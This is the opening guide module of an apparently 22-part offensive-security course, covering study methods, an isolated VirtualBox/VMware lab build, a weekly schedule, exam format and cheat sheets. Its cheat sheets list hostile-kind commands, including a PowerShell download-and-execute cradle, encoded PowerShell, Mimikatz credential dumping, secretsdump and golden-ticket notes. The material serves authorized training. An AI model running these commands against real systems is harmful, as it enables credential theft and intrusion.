Module 00: Reader & Course Guide START HERE
Module 00 of 22 — How to use this course, build your lab, and survive the training
🧠 The Core Truth
This course is not a reading list. It is a weapons manual. Every module is designed to be executed, not memorized. You will build tools, break systems, and learn to think like both attacker and defender. The terminal is your weapon. Every command is a round.
Before you touch Module 01: Read this guide. Build your lab. Set your schedule. Understand the methodology. Skipping this module is like skipping weapons safety — you will hurt yourself.
📖 Section 1: How to Use This Course
The 22-Module Architecture
This course is organized into 22 modules, each building on the last. You do not skip modules. You do not speed-run. You execute every lab before advancing.
| Phase |
Modules |
Focus |
| Foundation |
00 — 04 |
Shell, networking, PowerShell, reconnaissance |
| Execution |
05 — 09 |
Exploitation, memory, privilege escalation, malware |
| Persistence |
10 — 14 |
Code injection, rootkits, EDR evasion, cloud files |
| Operations |
15 — 19 |
Lateral movement, C2, Active Directory, LOTL |
| Mastery |
20 — 22 |
Advanced topics, capstone, final exam |
The Execution Rule
Every module contains:
- Theory: Why the technique works. Read once.
- Code: Working examples. Copy, build, run.
- Lab: Hands-on exercises. Do not skip.
- Quiz: Knowledge check. Pass before advancing.
- Cross-links: Connections to other modules. Follow them.
⚠️ The Golden Rule
If you cannot explain a technique to a teammate in 60 seconds, you do not understand it. Go back. Do the lab again. Build it from scratch without looking at the code.
Why Cross-Links Matter
Offensive security is not a list of tricks. It is a web of interconnected techniques. Code injection (Module 10) requires privilege escalation (Module 08). Privilege escalation requires reconnaissance (Module 02). Reconnaissance requires networking (Module 01). The cross-links show you how techniques chain together in real operations.
🧠 Section 2: Study Methodology
The Feynman Technique for Operators
Richard Feynman said: "If you can't explain it simply, you don't understand it well enough." For offensive security, we adapt this:
- Study: Read the module. Watch the technique work.
- Build: Reconstruct the technique from memory. Fail. Re-read. Build again.
- Teach: Explain it to yourself out loud. Record it. Play it back.
- Simplify: Reduce the technique to 3 sentences a non-technical person understands.
- Execute: Run it in the lab. Document what worked and what failed.
The Three-Pass Method
Every module gets three passes:
- Pass 1 — The Survey (15 min): Skim the module. Read headers. Look at code blocks. Note what you don't understand.
- Pass 2 — The Deep Dive (2-4 hours): Read every word. Build every example. Run every command. Take notes.
- Pass 3 — The Synthesis (1 hour): Close the module. Rebuild the key technique from scratch. Write a one-page summary.
💡 Pro Tip: The 80/20 Rule
80% of your operational success will come from 20% of these techniques. Identify your 20% early. For most operators, that is: PowerShell (Module 03), Privilege Escalation (Module 08), and Lateral Movement (Module 15). Master these first.
📝 Section 3: Note-Taking System
The Operator's Notebook
Your notes are your second brain. They must be searchable, structured, and actionable. Use this format:
=== NOTE TEMPLATE ===
TECHNIQUE: [Name]
MODULE: [Number]
DATE: [YYYY-MM-DD]
WHAT:
- One-sentence description of the technique
WHY:
- When to use it (what problem it solves)
- When NOT to use it (detection risks, prerequisites)
HOW:
- Step-by-step commands (copy-paste ready)
- Required tools
- Required privileges
EVIDENCE:
- What the defender sees
- How to clean up
- How to verify success
CROSS-LINKS:
- Related modules
- Related techniques
- Common chains (e.g., Recon → PrivEsc → Injection)
LAB NOTES:
- What worked
- What failed
- Modifications made
- Target environment
Digital vs. Physical Notes
Digital (Recommended): Use Obsidian, Notion, or markdown files in a private Git repo. Tag everything. Search everything. Cross-link everything.
Physical: Keep a waterproof notebook for quick sketches, network diagrams, and offline reference. Never write passwords in it. Use code names for targets.
⚠️ OPSEC Warning
Your notes are evidence. Encrypt digital notes. Store physical notes in a locked container. Assume compromise and write accordingly — no real target names, no real IP addresses, no personal identifiers.
💡 The Cheat Sheet Rule
Every module must produce a one-page cheat sheet. If it doesn't fit on one page, you don't understand it well enough. These cheat sheets are your operational reference under pressure.
🖥️ Section 4: Building a Lab Environment
🧠 The Core Truth
You cannot learn offensive security in theory. You need a lab. A lab is a controlled battlefield where you can attack, fail, analyze, and attack again without legal consequences. Build it before you touch Module 01.
Lab Architecture Overview
ATTACKER
Kali Linux
192.168.56.10
⇄
NAT / HOST-ONLY
VirtualBox / VMware
⇄
TARGETS
Windows 10/11
192.168.56.11-20
All traffic stays inside your machine. No external network required.
Step 1: Choose Your Hypervisor
| Hypervisor |
Pros |
Cons |
Best For |
| VirtualBox |
Free, open-source, snapshots |
Slower, USB passthrough issues |
Budget labs, beginners |
| VMware Workstation |
Fast, stable, great networking |
Paid (Player is free but limited) |
Professional labs, heavy use |
| Hyper-V |
Built into Windows Pro/Enterprise |
Nested virtualization issues |
Windows-native environments |
| Proxmox |
Free, enterprise-grade, web UI |
Steep learning curve |
Server labs, teams |
Recommendation: Start with VirtualBox (free) or VMware Workstation Pro (if you have a license). Both support snapshots — essential for reverting after malware infections.
Step 2: Host Machine Requirements
| Component |
Minimum |
Recommended |
| CPU |
4 cores |
8+ cores (Intel i7/Ryzen 7) |
| RAM |
16 GB |
32+ GB |
| Storage |
256 GB SSD |
1 TB NVMe SSD |
| Network |
1 NIC |
2+ NICs (for bridged labs) |
⚠️ Storage Warning
Each Windows VM requires 40-80 GB. A full lab with 5 Windows targets + Kali = 300+ GB. Use an external NVMe SSD if your internal drive is limited.
Step 3: Base Images
Download and prepare these base images:
=== REQUIRED BASE IMAGES ===
1. Kali Linux (Attacker)
URL: https://www.kali.org/get-kali/#kali-virtual-machines
Format: VirtualBox or VMware image (pre-built)
Disk: 80 GB
RAM: 4 GB
Notes: Update with `sudo apt update && sudo apt full-upgrade`
2. Windows 10/11 Enterprise Evaluation (Target)
URL: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
Format: ISO
Disk: 80 GB
RAM: 4 GB
Notes: 90-day evaluation, can be rearmed 3 times
3. Windows Server 2019/2022 (Domain Target)
URL: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022
Format: ISO
Disk: 60 GB
RAM: 4 GB
Notes: Required for Module 19 (Active Directory)
4. Ubuntu Server (Linux Target)
URL: https://ubuntu.com/download/server
Format: ISO
Disk: 40 GB
RAM: 2 GB
Notes: For Linux exploitation modules
Step 4: Snapshot Strategy
Snapshots are your time machine. Use them religiously.
| Snapshot Name |
When to Take |
Purpose |
| BASE |
After OS install, before any changes |
Clean slate for every lab |
| TOOLS |
After installing common tools |
Skip tool installation time |
| VULNERABLE |
After configuring vulnerable services |
Repeat exploitation practice |
| POST-EXPLOIT |
After successful exploitation |
Practice post-exploitation without re-exploiting |
💡 Snapshot Naming Convention
Use: YYYY-MM-DD_DESCRIPTION. Example: 2026-06-29_BASE_Windows10. You will have dozens of snapshots. Naming matters.
🔧 Section 5: VM Setup — Step by Step
Kali Linux Attacker VM
=== KALI SETUP ===
# 1. Import pre-built Kali VM into VirtualBox/VMware
# 2. Start VM, login: kali / kali
# 3. Update system
sudo apt update && sudo apt full-upgrade -y
# 4. Install essential tools
sudo apt install -y \
bloodhound neo4j \
crackmapexec \
evil-winrm \
impacket-scripts \
powershell-empire \
remmina \
seclists \
sshuttle \
tmux
# 5. Configure static IP (host-only network)
sudo nano /etc/network/interfaces
# Add:
auto eth1
iface eth1 inet static
address 192.168.56.10
netmask 255.255.255.0
# 6. Enable IP forwarding (for pivoting labs)
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# 7. Take snapshot: BASE_KALI_2026-06-29
Windows 10/11 Target VM
=== WINDOWS TARGET SETUP ===
# 1. Create new VM from Windows 10/11 ISO
# 2. During install, choose "Custom" and create single partition
# 3. When prompted for Microsoft account, choose "Domain join instead"
# Create local user: operator / Operator123!
# 4. After first boot, disable Windows Update (for stability)
# Settings → Update & Security → Advanced options → Pause updates
# 5. Disable Windows Defender (for malware labs)
# Settings → Update & Security → Windows Security →
# Virus & threat protection → Manage settings →
# Turn OFF: Real-time protection, Cloud-delivered protection,
# Automatic sample submission, Tamper protection
# 6. Disable Firewall (for initial networking labs)
# Control Panel → Windows Defender Firewall →
# Turn Windows Defender Firewall on or off →
# Turn OFF for both private and public networks
# 7. Enable Remote Desktop (for lateral movement labs)
# Settings → System → Remote Desktop → Enable Remote Desktop
# 8. Install common tools
# - Chrome (for browser exploitation)
# - Python 3 (for custom scripts)
# - Visual Studio Build Tools (for compiling C/C++)
# - Git for Windows (for cloning repos)
# 9. Configure static IP (host-only network)
# Settings → Network & Internet → Ethernet →
# Change adapter options → Properties → IPv4 →
# IP: 192.168.56.11
# Subnet: 255.255.255.0
# Gateway: 192.168.56.1
# 10. Take snapshot: BASE_WINDOWS_2026-06-29
⚠️ Security Warning
This VM is intentionally vulnerable. Never connect it to the internet. Never use it for personal browsing. Isolate it to host-only networking only.
Windows Server 2022 (Domain Controller)
=== DOMAIN CONTROLLER SETUP ===
# 1. Install Windows Server 2022 from ISO
# 2. Choose "Windows Server 2022 Standard Evaluation (Desktop Experience)"
# 3. Set Administrator password: P@ssw0rd123!
# 4. Configure static IP
# IP: 192.168.56.20
# Subnet: 255.255.255.0
# DNS: 127.0.0.1 (it will be the DC)
# 5. Install Active Directory Domain Services
# Server Manager → Manage → Add Roles and Features →
# Role-based installation → Select server →
# Check "Active Directory Domain Services" → Install
# 6. Promote to Domain Controller
# Server Manager → AD DS (yellow flag) →
# "Promote this server to a domain controller" →
# Add new forest → Root domain name: 22sd.local →
# DSRM password: P@ssw0rd123! → Next → Install
# (Server will reboot automatically)
# 7. Create domain users (for Module 19 labs)
# Active Directory Users and Computers → 22sd.local →
# New → User → Create test users:
# - gwu07 (domain admin candidate)
# - jsoldier (standard user)
# - svc_sql (service account)
# 8. Take snapshot: BASE_DC_2026-06-29
Cross-link: Full AD exploitation in Module 19: Active Directory.
🌐 Section 6: Networking Lab Machines
Virtual Network Modes Explained
| Mode |
VM ↔ Host |
VM ↔ Internet |
VM ↔ VM |
Use Case |
| NAT |
Yes |
Yes |
No |
VM needs internet, isolated from others |
| Host-Only |
Yes |
No |
Yes |
Lab network — VMs talk, no internet |
| Bridged |
Yes |
Yes |
Yes |
VM appears as real machine on network |
| Internal |
No |
No |
Yes |
Air-gapped lab, no host access |
Recommended Lab Network Topology
KALI
192.168.56.10
NAT + Host-Only
→
vboxnet0
192.168.56.0/24
Host-Only
→
WINDOWS 10
192.168.56.11
Host-Only
→
WINDOWS 11
192.168.56.12
Host-Only
→
DC 2022
192.168.56.20
Host-Only
Kali has two adapters: NAT (for internet access) and Host-Only (for lab communication). Targets have only Host-Only. They cannot reach the internet.
VirtualBox Network Configuration
=== VIRTUALBOX NETWORK SETUP ===
# 1. Create Host-Only Network
File → Host Network Manager → Create
Name: vboxnet0
IPv4 Address: 192.168.56.1
IPv4 Mask: 255.255.255.0
DHCP Server: DISABLED (we use static IPs)
# 2. Configure Kali VM
Settings → Network → Adapter 1: NAT (for internet)
Settings → Network → Adapter 2: Host-Only Adapter → vboxnet0
# 3. Configure Windows Targets
Settings → Network → Adapter 1: Host-Only Adapter → vboxnet0
# 4. Verify connectivity from Kali
ping 192.168.56.11 # Windows 10 target
ping 192.168.56.12 # Windows 11 target
ping 192.168.56.20 # Domain Controller
# 5. Verify from Windows targets
ping 192.168.56.10 # Kali attacker
# Should succeed (same network)
ping 8.8.8.8 # Google DNS
# Should FAIL (targets have no internet — correct)
VMware Network Configuration
=== VMWARE NETWORK SETUP ===
# 1. Edit → Virtual Network Editor
# 2. Select VMnet1 (Host-only) → Change Settings
# Subnet IP: 192.168.56.0
# Subnet Mask: 255.255.255.0
# DHCP Settings: DISABLED
# 3. Select VMnet8 (NAT) → NAT Settings
# Subnet IP: 192.168.88.0 (different range!)
# Gateway: 192.168.88.2
# 4. Configure Kali VM
# Network Adapter 1: NAT (VMnet8)
# Network Adapter 2: Host-only (VMnet1)
# 5. Configure Windows Targets
# Network Adapter 1: Host-only (VMnet1)
# 6. Verify connectivity (same as VirtualBox)
💡 Troubleshooting Network Issues
If pings fail:
- Check Windows Firewall — is it disabled?
- Check IP configuration — static IP set correctly?
- Check VirtualBox/VMware network editor — subnet correct?
- Check adapter order in VM — is Host-Only first?
- Restart VM — network adapters sometimes need a reboot
📅 Section 7: Study Schedule
The 22-Week Sprint
This course is designed for one module per week at 15-20 hours/week. Adjust based on your experience.
Week 1: Module 00 — Reader & Lab Build
Build lab. Verify networking. No exploitation yet.
Week 2: Module 01 — Networking
TCP/IP, Wireshark, packet analysis. Cross-link to Module 02.
Week 3: Module 02 — Reconnaissance
Nmap, OSINT, footprinting. Build recon script.
Week 4: Module 03 — PowerShell
Windows automation, download cradles, obfuscation.
Week 5: Module 04 — Shell Scripting
Bash, Python, automation. Build tool chain.
Week 6: Module 05 — Exploitation
Buffer overflows, web exploits, Metasploit basics.
Week 7: Module 06 — Memory Forensics
Volatility, memory dumps, process analysis.
Week 8: Module 07 — Web Attacks
SQLi, XSS, CSRF, IDOR. DVWA practice.
Week 9: Module 08 — Privilege Escalation
Windows & Linux privesc. Token abuse, kernel exploits.
Week 10: Module 09 — Malware Development
Shellcode, encoders, packers. Build custom payload.
Week 11: Module 10 — Code Injection
DLL injection, process hollowing, reflective DLL.
Week 12: Module 11 — Rootkits
User-mode and kernel-mode rootkits. Hooking, hiding.
Week 13: Module 12 — Defensive Verification
EDR, SIEM, detection engineering. Blue team perspective.
Week 14: Module 13 — EDR Evasion
AMSI bypass, ETW bypass, unhooking. Red team skills.
Week 15: Module 14 — Cloud Files
Azure, AWS, GCP exploitation. Storage, IAM, containers.
Week 16: Module 15 — Lateral Movement
Pass-the-hash, WMI, PSExec, RDP hijacking.
Week 17: Module 16 — C2 Frameworks
Cobalt Strike, Sliver, Mythic. Build C2 infrastructure.
Week 18: Module 17 — Data Exfiltration
DNS tunneling, HTTPS exfil, steganography.
Week 19: Module 18 — Social Engineering
Phishing, pretexting, vishing. Build phishing campaign.
Week 20: Module 19 — Active Directory
BloodHound, Kerberoasting, DCSync, Golden Ticket.
Week 21: Module 20 — Advanced Topics
Hardware attacks, supply chain, physical security.
Week 22: Module 21-22 — Capstone & Exam
Full-chain attack. Report writing. Final exam.
💡 The 2-Day Rule
Never miss two days in a row. One day off is rest. Two days off is a habit breaking. If you miss a day, the next day is non-negotiable.
Daily Study Block (2-3 Hours)
| Time |
Activity |
Purpose |
| 0:00 — 0:15 |
Review yesterday's notes |
Spaced repetition |
| 0:15 — 0:45 |
Read new material |
Theory absorption |
| 0:45 — 1:45 |
Lab / hands-on |
Muscle memory |
| 1:45 — 2:15 |
Troubleshoot & document |
Problem solving |
| 2:15 — 2:30 |
Write cheat sheet entry |
Synthesis |
| 2:30 — 3:00 |
Quiz / self-test |
Verification |
🎯 Section 8: Exam Preparation
🧠 The Core Truth
The exam is not a test of memory. It is a test of execution under pressure. You will be given a target network. You will have a time limit. You must chain techniques from multiple modules to achieve the objective. Your notes are your only reference.
Exam Format
| Component |
Details |
| Duration |
24 hours (split into two 12-hour blocks) |
| Target Network |
3-5 machines (Windows, Linux, mixed) |
| Objectives |
Flags on each machine + domain admin compromise |
| Deliverables |
Flags + professional report (72 hours after exam) |
| Passing Score |
70% of flags + satisfactory report |
| Allowed Materials |
Your notes, your cheat sheets, your tools |
| Prohibited |
Internet, AI assistance, outside help, automated scanners |
30-Day Exam Prep Plan
| Period |
Focus |
Daily Hours |
| Days 1-10 |
Review all modules. Rebuild key techniques from scratch. Update cheat sheets. |
3-4 |
| Days 11-20 |
Practice exams. Timed drills. Full-chain attacks on lab network. |
4-5 |
| Days 21-25 |
Weak area focus. Re-do failed labs. Drill problem techniques. |
3-4 |
| Days 26-28 |
Light review. Organize notes. Rest. Sleep. |
1-2 |
| Day 29 |
Exam day block 1 (12 hours). No cramming. Trust your preparation. |
12 |
| Day 30 |
Exam day block 2 (12 hours) if needed. Report writing begins. |
12 |
Exam Day Strategy
- Recon first (30 min): Map the network. Nmap all targets. Document everything. Don't attack yet.
- Low-hanging fruit (1-2 hours): Attack the easiest target first. Build momentum. Get a flag early.
- Chain from foothold (2-4 hours): Use initial access for recon. Pivot. Escalate. Move laterally.
- Domain compromise (4-6 hours): If AD is present, this is the big prize. Use BloodHound. Find paths.
- Clean up & verify (1 hour): Screenshot every flag. Verify every compromise. You cannot go back.
- Report outline (30 min): Before time expires, outline your report. Note what you did, what worked, what failed.
⚠️ Time Management Warning
If you're stuck on a technique for more than 2 hours, move on. The exam is designed to have multiple paths. Don't get tunnel vision. Save every rung — if one path fails, you need another.
💡 The Screenshot Rule
Screenshot everything. Every command. Every output. Every flag. Your report is graded on evidence. A flag without a screenshot is a flag you cannot prove.
📋 Section 9: Cheat Sheet Construction
The One-Page Rule
Every technique gets one page. No exceptions. If it doesn't fit, you don't know it well enough. Your cheat sheets are your lifeline during the exam.
Reconnaissance (Module 02)
nmap -sV -sC -O target
nmap -p- --min-rate 1000 target
enum4linux -a target
dig axfr @target domain.com
PowerShell (Module 03)
IEX(New-Object Net.WebClient).DownloadString('url')
powershell -enc [base64]
Get-Process | ?{$_.ProcessName -like '*av*'}
Invoke-Expression $cmd
Privilege Escalation (Module 08)
whoami /priv
winPEAS.exe
PowerUp.ps1
SharpUp.exe
TokenPrivileges | SeImpersonate
Code Injection (Module 10)
OpenProcess → VirtualAllocEx
WriteProcessMemory → CreateRemoteThread
Process Hollowing: svchost.exe
APC: QueueUserAPC (no Event ID 8)
Lateral Movement (Module 15)
Invoke-Mimikatz -DumpCreds
Invoke-PsExec -Computer target -Command cmd
Invoke-WMIExec -Target target -Command cmd
xfreerdp /v:target /u:user /p:pass
Active Directory (Module 19)
bloodhound-python -u user -p pass -d domain -c All
GetNPUsers.py domain/user -no-pass
secretsdump.py domain/user@target
golden_ticket = krbtgt hash + domain SID
Cheat Sheet Template
=== CHEAT SHEET: [TECHNIQUE NAME] ===
PURPOSE:
One line: what this does and when to use it.
PREREQUISITES:
- Required privileges
- Required tools
- Required network access
COMMANDS:
[Command 1] # What it does
[Command 2] # What it does
[Command 3] # What it does
EVIDENCE / CLEANUP:
- What the defender sees
- How to remove artifacts
- How to verify success
COMMON FAILURES:
- Failure 1 → Fix 1
- Failure 2 → Fix 2
CROSS-LINKS:
- Module X (prerequisite)
- Module Y (follow-up)
- Module Z (evasion)
LAST TESTED: YYYY-MM-DD on [TARGET]
STATUS: Working / Broken / Needs Update
💡 The Printer Test
Print your cheat sheets. Can you read them at 2 AM under red light? If the font is too small or the colors don't print, fix it. Your exam environment may not have a second monitor.
🎖️ Section 10: Mentor's Advice
"The best operators are not the ones who know the most techniques. They are the ones who know which technique to use when everything else fails. Save every rung. Build redundancy. If your first payload is caught, your second should already be staged."
— Senior Operator, 22nd Survey Division
"You will fail labs. You will crash VMs. You will spend 6 hours on a technique that doesn't work. This is not wasted time. This is the education. Every failure teaches you what the defender sees. Every crash teaches you stability. Every dead end teaches you patience."
— Lab Instructor, 22nd Survey Division
"Your notes are your legacy. Write them as if you are training your replacement. Because someday, you will be training your replacement. And they will ask the same questions you asked. Make your notes answer those questions before they are asked."
— Course Designer, 22nd Survey Division
The 10 Commandments of the 22nd Survey Division
- Thou shalt build the lab first. No lab, no learning. No exceptions.
- Thou shalt execute every command. Reading is not doing. Doing is learning.
- Thou shalt take screenshots of everything. Evidence is truth. Truth is graded.
- Thou shalt not skip modules. The course is a chain. Break one link, the chain fails.
- Thou shalt write cheat sheets. One page per technique. No exceptions.
- Thou shalt follow cross-links. Techniques are a web, not a list. Understand the web.
- Thou shalt fail in the lab. Better to fail in the lab than in the exam. Better to fail in the exam than in the field.
- Thou shalt not use AI during exams. Your brain is the weapon. Sharpen it.
- Thou shalt teach what thou learnest. Teaching reveals gaps. Gaps are opportunities.
- Thou shalt save every rung. Redundancy is survival. Always have a second path.
⚠️ Final Warning
This course teaches offensive techniques for authorized testing and defense. Using these techniques without explicit written authorization is illegal in almost every jurisdiction. The 22nd Survey Division trains operators, not criminals. Know the law. Know your boundaries. Operate ethically.
🔗 Section 11: Cross-Links to Key Modules
Where to Go From Here
This module is your foundation. The next modules build on it. Here are the critical paths:
🧪 Section 12: Interactive Quizzes
Question 1: What is the FIRST step before starting Module 01?
A) Read all 22 modules to understand the big picture
B) Build the lab environment and verify networking
C) Memorize all PowerShell one-liners from Module 03
D) Install every tool from Kali Linux repositories
Question 2: Why are snapshots essential in a lab environment?
A) They improve VM performance by freeing memory
B) They allow multiple VMs to share the same disk
C) They let you revert to a clean state after malware infections or crashes
D) They are required for host-only networking to work
Question 3: What is the "One-Page Rule" for cheat sheets?
A) Every cheat sheet must be printed on a single physical page
B) If a technique doesn't fit on one page, you don't understand it well enough
C) Cheat sheets are limited to one page per module
D) Only one cheat sheet is allowed during the exam